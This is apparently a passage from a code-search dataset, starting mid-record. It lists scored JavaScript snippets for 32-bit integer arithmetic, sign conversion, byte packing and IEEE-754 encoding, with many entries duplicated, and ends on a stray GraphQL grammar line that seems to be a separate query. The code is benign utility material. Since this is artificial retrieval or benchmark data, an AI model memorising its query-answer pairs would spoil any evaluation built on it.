as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "b2fe01aa03a00d0d4e68b654ec7e6246", "score": "0.6740151", "text": "function as_signed(value, bits) { var s = 32 - bits; return (value << s) >> s; }", "title": "" }, { "docid": "47fc7c4bb0c8430bc0a9b60edfb26824", "score": "0.64978814", "text": "function ToUint32(v) { return v >>> 0; }", "title": "" }, { "docid": "09699fc71d8b8a26a05dacdf0c00f945", "score": "0.63379985", "text": "function unsigned32Add(){\n\treturn Array.from(arguments).reduce(function (a, b){\n\t\treturn ((a >>> 0) + (b >>> 0)) >>> 0;\n\t}, 0);\n}", "title": "" }, { "docid": "9112835fc35601be55b74be780f0063b", "score": "0.63229966", "text": "function as_signed(value, bits) {\n var s = 32 - bits;\n return (value << s) >> s;\n }", "title": "" }, { "docid": "9112835fc35601be55b74be780f0063b", "score": "0.63229966", "text": "function as_signed(value, bits) {\n var s = 32 - bits;\n return (value << s) >> s;\n }", "title": "" }, { "docid": "f049ac186f1f01bf9df00fed556c960a", "score": "0.6143902", "text": "function unsigned32 (n1) // returns a 32-bits unsiged integer from an operand to which applied a bit operator.\r\n {\r\n return n1 < 0 ? (n1 ^ UPPER_MASK) + UPPER_MASK : n1;\r\n }", "title": "" }, { "docid": "b0cdc23a89b774560c2a9ef8cc7fa428", "score": "0.60785574", "text": "function oflw32(n) {\n return n & 4294967295;\n }", "title": "" }, { "docid": "733ad4e23ab98ff313192304ee7a9fe0", "score": "0.60039425", "text": "function ToUint32(argument) { // eslint-disable-line no-unused-vars\n\t\t// 1. Let number be ? ToNumber(argument).\n\t\tvar number = Number(argument);\n\t\t// 2. If number is NaN, +0, -0, +∞, or -∞, return +0.\n\t\tif (isNaN(number) || 1 / number === Infinity || 1 / number === -Infinity || number === Infinity || number === -Infinity) {\n\t\t\treturn 0;\n\t\t}\n\t\t// 3. Let int be the mathematical value that is the same sign as number and whose magnitude is floor(abs(number)).\n\t\tvar int = ((number < 0) ? -1 : 1) * Math.floor(Math.abs(number));\n\t\t// 4. Let int32bit be int modulo 2^32.\n\t\tvar int32bit = int >>> 0;\n\t\t// 5. Return int32bit.\n\t\treturn int32bit;\n\t}", "title": "" }, { "docid": "949cd3a4e14f291fe0fb4a2e3e4d96fa", "score": "0.59709734", "text": "function add32(a, b) {\nreturn (a + b) & 0xFFFFFFFF;\n}", "title": "" }, { "docid": "949cd3a4e14f291fe0fb4a2e3e4d96fa", "score": "0.59709734", "text": "function add32(a, b) {\nreturn (a + b) & 0xFFFFFFFF;\n}", "title": "" }, { "docid": "bc01bab1e96ecbb335a5e505ec1633ce", "score": "0.59490764", "text": "function unsigned32 (n1) // returns a 32-bits unsiged integer from an operand to which applied a bit operator.\n\t{\n\t\treturn n1 < 0 ? (n1 ^ UPPER_MASK) + UPPER_MASK : n1;\n\t}", "title": "" }, { "docid": "bc01bab1e96ecbb335a5e505ec1633ce", "score": "0.59490764", "text": "function unsigned32 (n1) // returns a 32-bits unsiged integer from an operand to which applied a bit operator.\n\t{\n\t\treturn n1 < 0 ? (n1 ^ UPPER_MASK) + UPPER_MASK : n1;\n\t}", "title": "" }, { "docid": "bc01bab1e96ecbb335a5e505ec1633ce", "score": "0.59490764", "text": "function unsigned32 (n1) // returns a 32-bits unsiged integer from an operand to which applied a bit operator.\n\t{\n\t\treturn n1 < 0 ? (n1 ^ UPPER_MASK) + UPPER_MASK : n1;\n\t}", "title": "" }, { "docid": "bc01bab1e96ecbb335a5e505ec1633ce", "score": "0.59490764", "text": "function unsigned32 (n1) // returns a 32-bits unsiged integer from an operand to which applied a bit operator.\n\t{\n\t\treturn n1 < 0 ? (n1 ^ UPPER_MASK) + UPPER_MASK : n1;\n\t}", "title": "" }, { "docid": "a69dce0a23434ac5d92021e42db0a012", "score": "0.5926258", "text": "function writeUint32Array(nums, array, offset) {\n offset = offset || 0;\n\n for (var i = 0; i < nums.length; i++) {\n for (var j = 0; j < 4; j++) {\n array[i * 4 + j + offset] = (nums[i] >>> (8 * j)) & 0xFF;\n }\n }\n}", "title": "" }, { "docid": "678622376ff4cef71b4ce90d2b1b6eed", "score": "0.5887066", "text": "function safe_add(x, y) \n{ \nvar lsw = (x & 0xFFFF) + (y & 0xFFFF); \nvar msw = (x >> 16) + (y >> 16) + (lsw >> 16); \nreturn (msw << 16) | (lsw & 0xFFFF); \n}", "title": "" }, { "docid": "08e3a8a93c5d6f24251993db55ae90e3", "score": "0.587642", "text": "function wgint16(val, endian, buffer, offset)\n{\n\tif (endian == 'big') {\n\t\tbuffer[offset] = (val & 0xff00) >>> 8;\n\t\tbuffer[offset+1] = val & 0x00ff;\n\t} else {\n\t\tbuffer[offset+1] = (val & 0xff00) >>> 8;\n\t\tbuffer[offset] = val & 0x00ff;\n\t}\n}", "title": "" }, { "docid": "08e3a8a93c5d6f24251993db55ae90e3", "score": "0.587642", "text": "function wgint16(val, endian, buffer, offset)\n{\n\tif (endian == 'big') {\n\t\tbuffer[offset] = (val & 0xff00) >>> 8;\n\t\tbuffer[offset+1] = val & 0x00ff;\n\t} else {\n\t\tbuffer[offset+1] = (val & 0xff00) >>> 8;\n\t\tbuffer[offset] = val & 0x00ff;\n\t}\n}", "title": "" }, { "docid": "066e7bffb4d9d270258239d724c14763", "score": "0.58714974", "text": "function writeUint32(num, array, offset) {\n writeUint32Array([num], array, offset);\n}", "title": "" }, { "docid": "8381a6098c9a73f63f9a0a8a09a49ad4", "score": "0.58438617", "text": "function toBytesInt32(num) {\n arr = new Uint8Array([\n (num & 0xff000000) >> 24,\n (num & 0x00ff0000) >> 16,\n (num & 0x0000ff00) >> 8,\n (num & 0x000000ff)\n ]);\n return arr;\n }", "title": "" }, { "docid": "4d7832552457741bb20c3d981bcdacec", "score": "0.5838961", "text": "function add32b_op16b(a, b) {\n\tvar lsw = (a & 0xFFFF) + (b & 0xFFFF),\t\t\t//\tleast significant word\n\t\tmsw = (a >> 16) + (b >> 16) + (lsw >> 16);\t//\tmost significant word\n\t\n\t//\t() >>> 0; so that return value is treated as an unsigned 32-bit integer\n\treturn ((msw << 16) | (lsw & 0xFFFF)) >>> 0;\n}", "title": "" }, { "docid": "b3c655b80a151b3fd56465724d8204a7", "score": "0.58332956", "text": "function lowbits(n){return n&width-1;}//", "title": "" }, { "docid": "777ec44b2a238998d8a481045a364e4e", "score": "0.58162117", "text": "function convToUInt32(value) {\n\tvalue = value % MAX_INTEGER;\n\tif (value < 0) {\n\t\tvalue += MAX_INTEGER;\n\t}\n\treturn value;\n}", "title": "" }, { "docid": "68222d5f3b77c84cc46ad94657ccc368", "score": "0.5791668", "text": "function add32(a, b) {\n return a + b & 0xFFFFFFFF;\n}", "title": "" }, { "docid": "68222d5f3b77c84cc46ad94657ccc368", "score": "0.5791668", "text": "function add32(a, b) {\n return a + b & 0xFFFFFFFF;\n}", "title": "" }, { "docid": "73ff4977ae6552cd5331d226fe683f46", "score": "0.5790987", "text": "function wgint64(value, endian, buffer, offset)\n{\n\tif (endian == 'big') {\n\t\twgint32(value[0], endian, buffer, offset);\n\t\twgint32(value[1], endian, buffer, offset+4);\n\t} else {\n\t\twgint32(value[0], endian, buffer, offset+4);\n\t\twgint32(value[1], endian, buffer, offset);\n\t}\n}", "title": "" }, { "docid": "82dbdc2695b8b4565faebd2def01ec1d", "score": "0.57899565", "text": "function fromVLQSigned(aValue){var isNegative=(aValue&1)===1;var shifted=aValue>>1;return isNegative?-shifted:shifted;}", "title": "" }, { "docid": "8beb7cac7dbe5e6da2554cda1d8beddd", "score": "0.5784113", "text": "function add32(a, b) {\n return ((a + b) & ~0) >>> 0;\n}", "title": "" }, { "docid": "98205b48417e029c3f00cc62454464e4", "score": "0.57718295", "text": "function add32(a, b) {\n return (a + b) & 0xFFFFFFFF\n}", "title": "" }, { "docid": "e20eefe4d6b8436d7b37936a6e650ee4", "score": "0.57675326", "text": "function writeUint32BE(value, out = new Uint8Array(4), offset = 0) {\n out[offset + 0] = value >>> 24;\n out[offset + 1] = value >>> 16;\n out[offset + 2] = value >>> 8;\n out[offset + 3] = value >>> 0;\n return out;\n}", "title": "" }, { "docid": "4a3fa52089dc61dcf763ed7a5cc18e14", "score": "0.5756436", "text": "function encodeLittleEndianDWORD(array, dword) {\n array.push(dword % 256);\n dword >>= 8;\n array.push(dword % 256);\n dword >>= 8;\n array.push(dword % 256);\n dword >>= 8;\n array.push(dword % 256);\n }", "title": "" }, { "docid": "aacf0498bc66d2dd0e09956e3b40c0a0", "score": "0.574574", "text": "function ToInt32(v) { return v >> 0; }", "title": "" }, { "docid": "ca8cdebad6c048a65d119767d29338d6", "score": "0.57425934", "text": "function safe_add(x, y) \n{ \n var lsw = (x & 0xFFFF) + (y & 0xFFFF) \n var msw = (x >> 16) + (y >> 16) + (lsw >> 16) \n return (msw << 16) | (lsw & 0xFFFF) \n}", "title": "" }, { "docid": "a489fc3062e97fbfecc3c77ac4ba1d31", "score": "0.57239676", "text": "function add32(a, b) {\n return a + b & 0xFFFFFFFF;\n }", "title": "" }, { "docid": "d56c31370c6cc5420bbce6cff70b1713", "score": "0.5722367", "text": "function safe_add(x,y){var lsw=(x&0xFFFF)+(y&0xFFFF);var msw=(x>>16)+(y>>16)+(lsw>>16);return msw<<16|lsw&0xFFFF;}", "title": "" }, { "docid": "d56c31370c6cc5420bbce6cff70b1713", "score": "0.5722367", "text": "function safe_add(x,y){var lsw=(x&0xFFFF)+(y&0xFFFF);var msw=(x>>16)+(y>>16)+(lsw>>16);return msw<<16|lsw&0xFFFF;}", "title": "" }, { "docid": "910b07dbb8f0306d6483f5cebe5ce812", "score": "0.57197684", "text": "function EncodeUint(arr,Num,Bytes)\n{\n if(typeof Num!==\"number\")\n throw \"Need type number of Num=\"+Num;\n\n if(!Bytes)\n Bytes=6;\n if(!Num)\n Num = 0;\n var Data=Num;\n var len = arr.length;\n for(var n=1;n<=Bytes;n++)\n {\n var b=Bytes-n;\n //var b=n-1;\n arr[len + b] = Data & 0xFF;\n\n if(n%4===0)\n Data = Math.floor(Num / 4294967296);\n else\n Data = Data>>8;\n }\n}", "title": "" }, { "docid": "a236ffb9bd04e469de6829b853bcd5c8", "score": "0.57170385", "text": "function signed(value) {\n\t\t\t\tif(value < 0) return unsigned(-value * 2 + 1)\n\t\t\t\telse return unsigned(value * 2)\n\t\t\t}", "title": "" }, { "docid": "af3fd131c1513abe4e9b3c8ec809fb32", "score": "0.57141685", "text": "function packIEEE754(value,mLen,nBytes){var buffer=Array(nBytes);var eLen=nBytes*8-mLen-1;var eMax=(1<<eLen)-1;var eBias=eMax>>1;var rt=mLen===23?pow(2,-24)-pow(2,-77):0;var i=0;var s=value<0||value===0&&1/value<0?1:0;var e,m,c;value=abs(value);// eslint-disable-next-line no-self-compare\nif(value!=value||value===Infinity){// eslint-disable-next-line no-self-compare\nm=value!=value?1:0;e=eMax;}else{e=floor(log(value)/LN2);if(value*(c=pow(2,-e))<1){e--;c*=2;}if(e+eBias>=1){value+=rt/c;}else{value+=rt*pow(2,1-eBias);}if(value*c>=2){e++;c/=2;}if(e+eBias>=eMax){m=0;e=eMax;}else if(e+eBias>=1){m=(value*c-1)*pow(2,mLen);e=e+eBias;}else{m=value*pow(2,eBias-1)*pow(2,mLen);e=0;}}for(;mLen>=8;buffer[i++]=m&255,m/=256,mLen-=8){;}e=e<<mLen|m;eLen+=mLen;for(;eLen>0;buffer[i++]=e&255,e/=256,eLen-=8){;}buffer[--i]|=s*128;return buffer;}", "title": "" }, { "docid": "2e5ab635c15304316d3cfdf3b106714e", "score": "0.57119244", "text": "function toUint32(value) {\n if (typeof value === 'string') {\n // Assume data is hex formatted\n value = module.exports.remove0x(value);\n } else {\n // Number or BignNumber\n value = value.toString(16);\n }\n // Format as 4 bytes = 8 hexadecimal chars\n return module.exports.formatHexUint(value, 8);\n}", "title": "" }, { "docid": "17c262ecfb6acbc200287eb437de8c77", "score": "0.5708135", "text": "function unsigned32 (n1) // returns a 32-bits unsiged integer from an operand to which applied a bit operator.\n\t\t{\n\t\t\treturn n1 < 0 ? (n1 ^ UPPER_MASK) + UPPER_MASK : n1;\n\t\t}", "title": "" }, { "docid": "c5215711f6bee3150ab661d740899702", "score": "0.57048446", "text": "function uint32BE (number) {\n const buffer = Buffer.alloc(4)\n buffer.writeUInt32BE(number)\n return buffer\n}", "title": "" }, { "docid": "bee8c84ac6d1ab38bb0bf9d0c5584261", "score": "0.5700065", "text": "function wsint32(value, endian, buffer, offset)\n{\n\tvar val;\n\n\tif (value === undefined)\n\t\tthrow (new Error('missing value'));\n\n\tif (endian === undefined)\n\t\tthrow (new Error('missing endian'));\n\n\tif (buffer === undefined)\n\t\tthrow (new Error('missing buffer'));\n\n\tif (offset === undefined)\n\t\tthrow (new Error('missing offset'));\n\n\tif (offset + 3 >= buffer.length)\n\t\tthrow (new Error('Trying to read beyond buffer length'));\n\n\tval = prepsint(value, 0x7fffffff, -0x80000000);\n\tif (val >= 0)\n\t\twgint32(val, endian, buffer, offset);\n\telse\n\t\twgint32(0xffffffff + val + 1, endian, buffer, offset);\n}", "title": "" }, { "docid": "c323c0aa3124ca3725dc4bc4cf0f1442", "score": "0.5699926", "text": "function t(A){var e=parseInt(A,16);return[e>>16,e>>8&255,255&e]}", "title": "" }, { "docid": "d5db363f96fa0cb513bfb642ee3ecefa", "score": "0.56979793", "text": "function safe_add(x, y) {\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\n return (msw << 16) | (lsw & 0xFFFF);\n}", "title": "" }, { "docid": "2317fea4fbcce82dd042cbe38c7d5560", "score": "0.5682324", "text": "function packIEEE754(value,mLen,nBytes){var buffer=new Array(nBytes);var eLen=nBytes*8-mLen-1;var eMax=(1<<eLen)-1;var eBias=eMax>>1;var rt=mLen===23?pow(2,-24)-pow(2,-77):0;var i=0;var s=value<0||value===0&&1/value<0?1:0;var e,m,c;value=abs(value);// eslint-disable-next-line no-self-compare\nif(value!=value||value===Infinity){// eslint-disable-next-line no-self-compare\nm=value!=value?1:0;e=eMax;}else{e=floor(log(value)/LN2);if(value*(c=pow(2,-e))<1){e--;c*=2;}if(e+eBias>=1){value+=rt/c;}else{value+=rt*pow(2,1-eBias);}if(value*c>=2){e++;c/=2;}if(e+eBias>=eMax){m=0;e=eMax;}else if(e+eBias>=1){m=(value*c-1)*pow(2,mLen);e=e+eBias;}else{m=value*pow(2,eBias-1)*pow(2,mLen);e=0;}}for(;mLen>=8;buffer[i++]=m&255,m/=256,mLen-=8);e=e<<mLen|m;eLen+=mLen;for(;eLen>0;buffer[i++]=e&255,e/=256,eLen-=8);buffer[--i]|=s*128;return buffer;}", "title": "" }, { "docid": "4c7b643f18335529108cd6ec480e9263", "score": "0.56707543", "text": "function add32(a, b) {\n return (a + b) & 0xFFFFFFFF;\n}", "title": "" }, { "docid": "963b45dcf6bcb5ea6c924a5157db3bc4", "score": "0.567049", "text": "function safeAdd_32 (x, y)\n\t{\n\t\tvar lsw = (x & 0xFFFF) + (y & 0xFFFF);\n\t\tvar msw = (x >>> 16) + (y >>> 16) + (lsw >>> 16);\n\n\t\treturn ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);\n\t}", "title": "" }, { "docid": "018fb2e67ee7dac86fc2f88b504c5767", "score": "0.5670001", "text": "function safeAdd(x,y){var lsw=(x&0xffff)+(y&0xffff);var msw=(x>>16)+(y>>16)+(lsw>>16);return msw<<16|lsw&0xffff;}", "title": "" }, { "docid": "4d5f8873b14d5f26c374e735008040ec", "score": "0.56395835", "text": "function packIEEE754(value,mLen,nBytes){var buffer=new Array(nBytes);var eLen=nBytes*8-mLen-1;var eMax=(1<<eLen)-1;var eBias=eMax>>1;var rt=mLen===23?pow(2,-24)-pow(2,-77):0;var i=0;var s=value<0||value===0&&1/value<0?1:0;var e,m,c;value=abs(value);// eslint-disable-next-line no-self-compare\n if(value!=value||value===Infinity){// eslint-disable-next-line no-self-compare\n m=value!=value?1:0;e=eMax;}else{e=floor(log(value)/LN2);if(value*(c=pow(2,-e))<1){e--;c*=2;}if(e+eBias>=1){value+=rt/c;}else{value+=rt*pow(2,1-eBias);}if(value*c>=2){e++;c/=2;}if(e+eBias>=eMax){m=0;e=eMax;}else if(e+eBias>=1){m=(value*c-1)*pow(2,mLen);e=e+eBias;}else{m=value*pow(2,eBias-1)*pow(2,mLen);e=0;}}for(;mLen>=8;buffer[i++]=m&255,m/=256,mLen-=8){;}e=e<<mLen|m;eLen+=mLen;for(;eLen>0;buffer[i++]=e&255,e/=256,eLen-=8){;}buffer[--i]|=s*128;return buffer;}", "title": "" }, { "docid": "5d8b3c4c4d9f82cb7e7f39ae9c08773b", "score": "0.5626305", "text": "function add32(a, b) {\n return (a + b) & 0xFFFFFFFF;\n }", "title": "" }, { "docid": "5d8b3c4c4d9f82cb7e7f39ae9c08773b", "score": "0.5626305", "text": "function add32(a, b) {\n return (a + b) & 0xFFFFFFFF;\n }", "title": "" }, { "docid": "36550e8b79f0a42dec2c8a5b1be3befa", "score": "0.5626191", "text": "function safe_add(x, y) {\r\n\t\t var lsw = (x & 0xFFFF) + (y & 0xFFFF),\r\n\t\t msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n\t\t return (msw << 16) | (lsw & 0xFFFF);\r\n\t\t }", "title": "" }, { "docid": "c3e0c0b7e08ecbe471c51aba31bc6147", "score": "0.56170607", "text": "function convert32_to_8bit(){\n\n}", "title": "" }, { "docid": "373c300c4d6d6e97d03151448ba3664d", "score": "0.56166345", "text": "function uint32(x) {\n return x >>> 0;\n }", "title": "" }, { "docid": "373c300c4d6d6e97d03151448ba3664d", "score": "0.56166345", "text": "function uint32(x) {\n return x >>> 0;\n }", "title": "" }, { "docid": "24a83c322a1943996afc941ce2bf2b17", "score": "0.5606183", "text": "function Je(e){var n=parseInt(e,16);return[n>>16,n>>8&255,255&n]}", "title": "" }, { "docid": "c152be65d3c4a09dac1213271e0ac722", "score": "0.5603547", "text": "function add32(a, b) {\n return (a + b) & 0xFFFFFFFF;\n }", "title": "" }, { "docid": "5a22129d0b9ca4af464b64180ea9bf73", "score": "0.55959976", "text": "function bitMangleSliced(val) {\n let tword = (~val)>>>0;\n\n let uword = 0;\n for(let i = 0; i < 16; i++) {\n const bits = (tword>>>(i*2))&0x3;\n const bitrev = (((bits&0x1)<<1) | ((bits&0x2)>>1))>>>0;\n uword = (uword << 2) | bitrev;\n }\n\n return uword>>>0;\n}", "title": "" }, { "docid": "f813ab0278a5f882e34388de039b3287", "score": "0.55903083", "text": "function add32(a, b) {\n\treturn (a + b) & 0xFFFFFFFF;\n}", "title": "" }, { "docid": "80abc85664448f8ce295a0bd55fb0975", "score": "0.5576402", "text": "function wsint64(value, endian, buffer, offset)\n{\n\tvar vzpos, vopos;\n\tvar vals = new Array(2);\n\n\tif (value === undefined)\n\t\tthrow (new Error('missing value'));\n\n\tif (!(value instanceof Array))\n\t\tthrow (new Error('value must be an array'));\n\n\tif (value.length != 2)\n\t\tthrow (new Error('value must be an array of length 2'));\n\n\tif (endian === undefined)\n\t\tthrow (new Error('missing endian'));\n\n\tif (buffer === undefined)\n\t\tthrow (new Error('missing buffer'));\n\n\tif (offset === undefined)\n\t\tthrow (new Error('missing offset'));\n\n\tif (offset + 7 >= buffer.length)\n\t\tthrow (new Error('Trying to read beyond buffer length'));\n\n\t/*\n\t * We need to make sure that we have the same sign on both values. The\n\t * hokiest way to to do this is to multiply the number by +inf. If we do\n\t * this, we'll get either +/-inf depending on the sign of the value.\n\t * Once we have this, we can compare it to +inf to see if the number is\n\t * positive or not.\n\t */\n\tvzpos = (value[0] * Number.POSITIVE_INFINITY) ==\n\t Number.POSITIVE_INFINITY;\n\tvopos = (value[1] * Number.POSITIVE_INFINITY) ==\n\t Number.POSITIVE_INFINITY;\n\n\t/*\n\t * If either of these is zero, then we don't actually need this check.\n\t */\n\tif (value[0] != 0 && value[1] != 0 && vzpos != vopos)\n\t\tthrow (new Error('Both entries in the array must have ' +\n\t\t 'the same sign'));\n\n\t/*\n\t * Doing verification for a signed 64-bit integer is actually a big\n\t * trickier than it appears. We can't quite use our standard techniques\n\t * because we need to compare both sets of values. The first value is\n\t * pretty straightforward. If the first value is beond the extremes than\n\t * we error out. However, the valid range of the second value varies\n\t * based on the first one. If the first value is negative, and *not* the\n\t * largest negative value, than it can be any integer within the range [\n\t * 0, 0xffffffff ]. If it is the largest negative number, it must be\n\t * zero.\n\t *\n\t * If the first number is positive, than it doesn't matter what the\n\t * value is. We just simply have to make sure we have a valid positive\n\t * integer.\n\t */\n\tif (vzpos) {\n\t\tprepuint(value[0], 0x7fffffff);\n\t\tprepuint(value[1], 0xffffffff);\n\t} else {\n\t\tprepsint(value[0], 0, -0x80000000);\n\t\tprepsint(value[1], 0, -0xffffffff);\n\t\tif (value[0] == -0x80000000 && value[1] != 0)\n\t\t\tthrow (new Error('value smaller than minimum ' +\n\t\t\t 'allowed value'));\n\t}\n\n\t/* Fix negative numbers */\n\tif (value[0] < 0 || value[1] < 0) {\n\t\tvals[0] = 0xffffffff - Math.abs(value[0]);\n\t\tvals[1] = 0x100000000 - Math.abs(value[1]);\n\t\tif (vals[1] == 0x100000000) {\n\t\t\tvals[1] = 0;\n\t\t\tvals[0]++;\n\t\t}\n\t} else {\n\t\tvals[0] = value[0];\n\t\tvals[1] = value[1];\n\t}\n\twgint64(vals, endian, buffer, offset);\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "08b6a435dfa5f986c86841b40f971c09", "score": "0.55676913", "text": "function safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}", "title": "" }, { "docid": "bbe0a9f71572d114c467a0b4c5edc851", "score": "0.5562581", "text": "function safeAdd (x, y) {\n var lsw = (x & 0xffff) + (y & 0xffff)\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16)\n return (msw << 16) | (lsw & 0xffff)\n }", "title": "" }, { "docid": "bbe0a9f71572d114c467a0b4c5edc851", "score": "0.5562581", "text": "function safeAdd (x, y) {\n var lsw = (x & 0xffff) + (y & 0xffff)\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16)\n return (msw << 16) | (lsw & 0xffff)\n }", "title": "" }, { "docid": "7551f09dfd7e591ef5b7cf25cb0fae0a", "score": "0.55535084", "text": "function safe_add (x, y) {\n\t var lsw = (x & 0xFFFF) + (y & 0xFFFF)\n\t var msw = (x >> 16) + (y >> 16) + (lsw >> 16)\n\t return (msw << 16) | (lsw & 0xFFFF)\n\t }", "title": "" }, { "docid": "7551f09dfd7e591ef5b7cf25cb0fae0a", "score": "0.55535084", "text": "function safe_add (x, y) {\n\t var lsw = (x & 0xFFFF) + (y & 0xFFFF)\n\t var msw = (x >> 16) + (y >> 16) + (lsw >> 16)\n\t return (msw << 16) | (lsw & 0xFFFF)\n\t }", "title": "" }, { "docid": "7551f09dfd7e591ef5b7cf25cb0fae0a", "score": "0.55535084", "text": "function safe_add (x, y) {\n\t var lsw = (x & 0xFFFF) + (y & 0xFFFF)\n\t var msw = (x >> 16) + (y >> 16) + (lsw >> 16)\n\t return (msw << 16) | (lsw & 0xFFFF)\n\t }", "title": "" } ]
52ee13028d0182d338afb4c2ebfcc10f
UnionTypeExtension : extend union Name Directives[Const]? UnionMemberTypes extend union Name Directives[Const]
